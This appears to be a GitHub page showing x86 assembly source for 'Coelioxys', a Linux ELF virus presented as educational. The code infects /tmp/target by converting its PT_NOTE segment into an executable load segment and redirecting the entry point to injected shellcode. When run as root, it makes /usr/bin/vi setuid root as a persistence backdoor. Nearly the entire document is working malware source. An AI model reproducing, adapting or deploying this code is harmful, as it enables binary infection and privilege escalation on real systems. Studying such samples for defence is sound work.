-
Notifications
You must be signed in to change notification settings - Fork 1
/
coelioxys.s
443 lines (354 loc) · 10.5 KB
/
coelioxys.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
################################### Coelioxys #####################################
#### Copyright (C) 2016 Fernando Vañó García #
#### #
#### This program is free software: you can redistribute it and/or modify #
#### it under the terms of the GNU Affero General Public License as #
#### published by the Free Software Foundation, either version 3 of the #
#### License, or (at your option) any later version. #
#### #
#### This program is distributed in the hope that it will be useful, #
#### but WITHOUT ANY WARRANTY; without even the implied warranty of #
#### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
#### GNU Affero General Public License for more details. #
#### #
#### You should have received a copy of the GNU Affero General Public License #
#### along with this program. If not, see <http://www.gnu.org/licenses/>. #
#### #
#### Fernando Vañó García <fernando@fervagar.com> #
#### #
#### Description: #
#### #
#### This is the source code of the parasite 'Coelioxys'. #
#### It relies on Linux systems and it is designed to #
#### educational purposes. It is written for the x86 #
#### architecture, although it could work on x86-64 systems #
#### with some little adjustments... Run this program #
#### only on controled environments. The author reserves #
#### the right not to be responsible for the possible #
#### misuse of Coelioxys. Please, use it to do the world #
#### a better place. #
###################################################################################
.text
.globl _start
_start:
xor %ebp, %ebp
and $0xfffffff0, %esp
pushl $0xb ## Number of variables
pushl $0x16c ## Offset to the Entry Point jump
mov %esp, %ebp
movl 0x4(%ebp), %eax
leal (,%eax,4), %eax
subl %eax, %esp ## Stack frame
####| Get the address of _start() |####
call getshellcodeAddr$
getshellcodeAddr$:
popl %ebx
subl $0x1f, %ebx
movl %ebx, -0x4(%ebp) ## Addr of shellcode
movl $0x27e, -0x8(%ebp) ## Size of shellcode
## int setreuid(uid_t ruid, uid_t euid); ##
####| __NR_setreuid => 70 |####
xor %eax, %eax
movb $0x46, %al
xor %ebx, %ebx
xor %ecx, %ecx
int $0x80
####| Check root perms |####
####| __NR_geteuid => 49 |####
xor %eax, %eax
movb $0x31, %al
int $0x80
test %eax, %eax
jne continue$
####| With root perms |####
call getEIP_1$
getEIP_1$:
popl %esi
jmp binstr$
popl %ebx ## %ebx <- '/bin/vi'
####| __NR_chmod => 15 |####
####| int chmod(const char *path, mode_t mode); |####
movb $0x0f, %al
xor %ecx, %ecx
movw $0x9ED, %cx
int $0x80 ## chmod 4755
####| In this case the job is already done |####
jmp __do_exit$
####| Without root perms |####
continue$:
####| open /tmp/target |####
call getEIP_2$
getEIP_2$:
popl %esi
jmp tmpfile$
popl %ebx ## %ebx <- &filename
########| Cukoo SubRoutine |########
call getfd$
cmp $0x0, %eax
jl __do_exit$ ## ( if %eax < 0 )
####| Get the original Entry Point |####
movl -0x14(%ebp), %esi
movl 0x18(%esi), %ebx ## e_entry
####| If it is 0x70000000 is already infected |####
cmp $0x70000000, %ebx
je _s_clean$
movl %ebx, -0x1c(%ebp) ## Save Original Entry Point (ebp - 0x1c)
####| Get the Program Header Table |####
movl 0x1c(%esi), %eax ## elfHeader->e_phoff
addl %esi, %eax
movl %eax, -0x20(%ebp) ## Save the PHT (ebp - 0x20)
####| Get the NOTE Segment |####
xor %ebx, %ebx
movw 0x2c(%esi), %bx ## elfHeader->e_phnum
call getNoteSegment$
####| Check if %eax is NULL |##
test %eax, %eax
je _s_clean$
####| Save the PAGE SIZE |####
movl $0x1000, %ebx ## x86 page size => 4K
movl %ebx, -0x24(%ebp) ## Page Size (ebp - 0x24)
####| Get the shellcode offset |####
movl -0x10(%ebp), %edx ## fileSize
xor %ecx, %ecx
sub %ebx, %ecx
and %ecx, %edx
add %ebx, %edx ## %edx <- aligned offset of shellcode
####| Modify the NOTE segment |####
movl $0x1, 0x0(%eax) ## p_type = PT_LOAD;
movl %edx, 0x4(%eax) ## p_offset = shellcode_offset;
movl $0x70000000, %ecx
movl %ecx, 0x8(%eax) ## p_vaddr = 0x70000000;
movl %ecx, 0xc(%eax) ## p_paddr = p_vaddr;
movl -0x8(%ebp), %edx
movl %edx, 0x10(%eax) ## p_filesz = shellcode size;
movl %edx, 0x14(%eax) ## p_memsz = p_filesz;
movl $0x7, 0x18(%eax) ## p_flags = PF_R | PF_W | PF_X;
movl %ebx, 0x1c(%eax) ## p_align = pagesize;
####| Set the new Entry Point |####
movl -0x14(%ebp), %esi
movl %ecx, 0x18(%esi) ## e_entry = p_vaddr;
####| Calculate the size of the padding |####
movl 0x4(%eax), %ecx ## %ecx <- shellcode offset
movl -0x10(%ebp), %edx ## %edx <- fileSize
subl %edx, %ecx ## padding size = shellcode offset - fileSize
movl %ecx, -0x28(%ebp) ## Save the Padding Size (ebp - 0x28)
####| Reserve space to the padding |####
subl %ecx, %esp
movl %esp, %esi
dec %esi
_padd_loop$:
leal (%ecx, %esi), %edi
movb $0x0, (%edi)
loop _padd_loop$
####| Rewrite the binary |####
####| __NR_write => 4 |####
xor %eax, %eax
movb $0x4, %al
####| write(fd, fileBase, fileSize); |####
movl -0xc(%ebp), %ebx
movl -0x10(%ebp), %edx
movl -0x14(%ebp), %ecx
int $0x80
####| write(fd, padding, padding_size); |####
xor %eax, %eax
movb $0x4, %al
movl %esp, %ecx
movl -0x28(%ebp), %edx
int $0x80
####| Save a backup of my Entry Point |####
movl -0x4(%ebp), %esi ## Retrieve the Shellcode Addr
movl (%ebp), %edi ## Get the offset to the jump addr
addl %esi, %edi
movl (%edi), %ebx
movl %ebx, -0x2c(%ebp) ## Save my own Entry Point (ebp - 0x2c)
####| Modify the jump to the target binary |####
movl -0x1c(%ebp), %eax ## Retrieve the saved Entry Point (target)
movl %eax, (%edi)
####| write(fd, shellcode, shellcode_size); |####
movl -0xc(%ebp), %ebx ## Restore %ebx with 'fd'
xor %eax, %eax
movb $0x4, %al
movl %esi, %ecx
movl -0x8(%ebp), %edx ## Shellcode size
int $0x80
####| Restore my jump |####
movl -0x2c(%ebp), %eax
movl %eax, (%edi)
####| Restore the space of the padding |####
movl -0x28(%ebp), %eax
addl %eax, %esp
####| Free resources |####
_s_clean$:
call munmap$ ## munmap(fileBase, fileSize);
_s_close_fd$:
movl -0xc(%ebp), %eax ## Saved file descriptor
call close$ ## close(fd);
__do_exit$:
movl 0x4(%ebp), %eax
leal (,%eax,4), %eax
addl %eax, %esp ## Remove the entire stack frame ##
pop %eax
pop %eax
xor %ebp, %ebp
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
xor %esi, %esi
xor %edi, %edi
_orig_start$:
pushl $0x00031337 ## Addr dynamically replaced
ret
nop
####| This should'nt execute never |####
####| Exit (just in case) |####
xor %eax, %eax
movb $0x1, %al
xor %ebx, %ebx
int $0x80
#####################################################
####| __NR_open => 5 |####
####| int open(const char *pathname, int flags); |####
open$:
xor %eax, %eax
xor %edx, %edx
movb $0x5, %al
movl $0x1b6, %edx
int $0x80
ret
#####################################################
####| __NR_close => 6 |####
####| int close(int fd); |####
close$:
movl %eax, %ebx
xor %eax, %eax
movb $0x6, %al
int $0x80
ret
#####################################################
####| __NR_mmap => 90 |####
####| void *mmap(void *addr, size_t length, int prot,
##### int flags, int fd, off_t offset); |####
mmap$:
xor %eax, %eax
movb $0x5a, %al
int $0x80
ret
#####################################################
####| __NR_munmap => 91 |####
####| int munmap(void *addr, size_t length); |####
munmap$:
movl -0x14(%ebp), %ebx ## fileBase ptr
movl -0x10(%ebp), %ecx ## fileSize
xor %eax, %eax
movb $0x5b, %al
int $0x80
ret
#####################################################
####| __NR_fstat => 108 |####
####| int fstat(int fd, struct stat *buf); |####
fstat$:
movl %eax, %ebx
xor %eax, %eax
movb $108, %al
subl $0x90, %esp ## Space for the buffer
movl %esp, %ecx
int $0x80
cmp $0x0, %eax
jne _fstat_exit$
movl 0x14(%ecx), %edx ## %edx <- file size
movl %edx, -0x10(%ebp) ## Saved fileSize
_fstat_exit$:
addl $0x90, %esp
ret
#####################################################
###| Phdr *getNoteSegment(Phdr *pht, int phnum); |###
####| Search for a segment of type PT_NOTE |####
getNoteSegment$:
movl %ebx, %ecx
test %ebx, %ecx
jz endloop_nf$
xor %edx, %edx
top$:
movb (%eax), %dl
cmp $0x4, %edx
je endloop_f$
add $0x20, %eax ## sizeof(Elf32_Phdr)
loop top$
endloop_nf$:
xor %eax, %eax ## Not Found
endloop_f$:
ret ## return NOTE segment
#####################################################
####| int getfd(char *filename); |####
####| Auxiliar function to open and map a file |####
getfd$:
####| Open |####
movl $0x2, %ecx ## O_RDWR : 0x0002
call open$
cmp $0x0, %eax
jl _getfd_err$ ## if 0 is > %eax
movl %eax, -0xc(%ebp) ## Save fd
####| fstat |####
call fstat$
cmp $0x0, %eax
jne _getfd_close_err$
####| mmap |####
xor %ebx, %ebx
pushl %ebx ## offset => NULL
movl -0xc(%ebp), %ecx
pushl %ecx ## fd
leal 0x1(%ebx), %ecx
leal 0x2(%ebx), %edx
orl %edx, %ecx
push %edx ## MAP_PRIVATE (0x2)
push %ecx ## PROT_READ (0x1) | PROT_WRITE (0x2)
movl -0x10(%ebp), %edx
pushl %edx ## length => fileSize
pushl %ebx ## *addr => NULL
# mmap(NULL, fileSize, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, NULL); #
movl %esp, %ebx
call mmap$
addl $0x18, %esp ## remove the arguments of mmap
cmpl $0xfffff000, %eax
ja _getfd_close_err$
movl %eax, -0x14(%ebp) ## Save the pointer to fileBase
####| %edx still contains the size of the file |####
addl %eax, %edx
movl %edx, -0x18(%ebp) ## Save the pointer to fileEnd
####| Check if the file has an ELF format |####
movl -0x14(%ebp), %ebx
movl (%ebx), %eax
cmp $0x464c457f, %eax
jne _getfd_munmap_err$
####| Check if it's an ELF of the x86 architecture |####
xor %eax, %eax
movl -0x14(%ebp), %ebx
movb 0x12(%ebx), %al
cmp $0x03, %eax
jne _getfd_munmap_err$
####| Return the file descriptor |####
# %ecx still contains the fd #
movl %ecx, %eax
ret
_getfd_munmap_err$:
call munmap$
_getfd_close_err$:
movl -0xc(%ebp), %eax ## Saved fd
call close$
_getfd_err$:
xor %eax, %eax
dec %eax
ret
#####################################################
#################### Strings #########################
nop
tmpfile$:
addl $0x6, %esi
call *%esi
.string "/tmp/target\0"
nop
binstr$:
addl $0x6, %esi
call *%esi
.string "/usr/bin/vi\0"